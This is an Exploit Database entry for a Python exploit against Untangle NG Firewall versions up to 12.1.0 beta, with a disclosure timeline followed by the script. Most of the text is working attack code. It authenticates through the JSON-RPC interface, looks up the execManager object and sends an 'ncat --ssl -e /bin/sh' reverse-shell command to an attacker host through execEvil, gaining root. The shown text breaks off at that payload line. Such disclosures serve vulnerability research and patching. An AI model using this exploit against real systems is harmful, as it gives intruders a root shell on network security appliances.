Untangle NGFW 12.1.0 Beta – ‘execEvil()’ Command Injection

Exploit Database
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作者： Matt Bush

日期： 2016-06-28
类别：
- webapps
平台：
- json
来源：https://www.exploit-db.com/exploits/40030/

#!/usr/bin/python

# Title: Untangle NGFW <= v12.1.0 beta execEvil() authenticated root CI exploit

# CVE:(Not yet assigned)

# Discovery:Matt Bush (@3xocyte)

# Exploit:Matt Bush

# Contact:mbush@themissinglink.com.au

# Disclosure Timeline:

# 22/4/2016Attempted to contact vendor after discovery of vulnerabilities

# 6/5/2016No response from vendor, vulnerabilities reported to US-CERT (assigned VU#538103)

# 12/5/2016US-CERT confirms contacting vendor

# 16/6/2016US-CERT notifies of no response from vendor and suggests requesting CVE-ID following their timeline

# 27/6/2016 Public disclosure

# A command injection vulnerability exists in Untangle NG Firewall, which allows non-root authenticated users to execute system commands with

# root privileges. This exploit has been tested on Untangle NG Firewall versions 11.2, 12, 12.0.1, and 12.1.0 beta, but should work on previous

# versions. The client-side sanitisation issues identified in the disclosure post can be exploited with a web app proxy. This exploit leverages

# the vulnerable function directly. Credentials can be obtained by sniffing unsecured HTTP logins (which the appliance defaults to).

# The author is not responsible for how this script or any information within this script is used. Don't do anything stupid.

import json, requests, sys

if len(sys.argv) < 5:

print "[!] usage: " + sys.argv[0] + " <RHOST> <LHOST> <username> <password>"

print "[!] and in a separate terminal: 'ncat --ssl -nlvp 443'"

sys.exit()

print "\nUntangle NGFW <= v12.0.1 execEvil() authenticated root CI exploit"

print "by @3xocyte\n"

rhost = sys.argv[1]

lhost = sys.argv[2]

username = sys.argv[3]

password = sys.argv[4]

login_url = "http://" + rhost + "/auth/login?url=/webui&realm=Administrator"

rpc_url = "http://" + rhost + "/webui/JSON-RPC"

auth = {'username': username, 'password': password}

print "[*] Opening session..."

session = requests.Session()

print "[*] Authenticating..."

try:

get_nonce = {"id":1,"nonce":"","method":"system.getNonce","params":[]}

req_nonce = session.post(rpc_url, data=json.dumps(get_nonce))

data = json.loads(req_nonce.text)

nonce = data['result']

except:

print "[!] Authentication failed. Quitting."

sys.exit()

print "[*] Getting execManager objectID..."

try:

get_obj_id = {"id":2,"nonce":nonce,"method":"UvmContext.getWebuiStartupInfo","params":[]}

req_obj_id = session.post(rpc_url, data=json.dumps(get_obj_id))

data = json.loads(req_obj_id.text)

object_id = data['result']['execManager']['objectID']

except:

print "[!] Could not get execManager objectID. Quitting."

sys.exit()

print "[*] Exploiting Ung.Main.getExecManager().execEvil()..."

try:

exploit = {"id":3,"nonce":nonce,"method":".obj#" + str(object_id) + ".execEvil","params":["ncat --ssl -e /bin/sh " + lhost + " 443"]}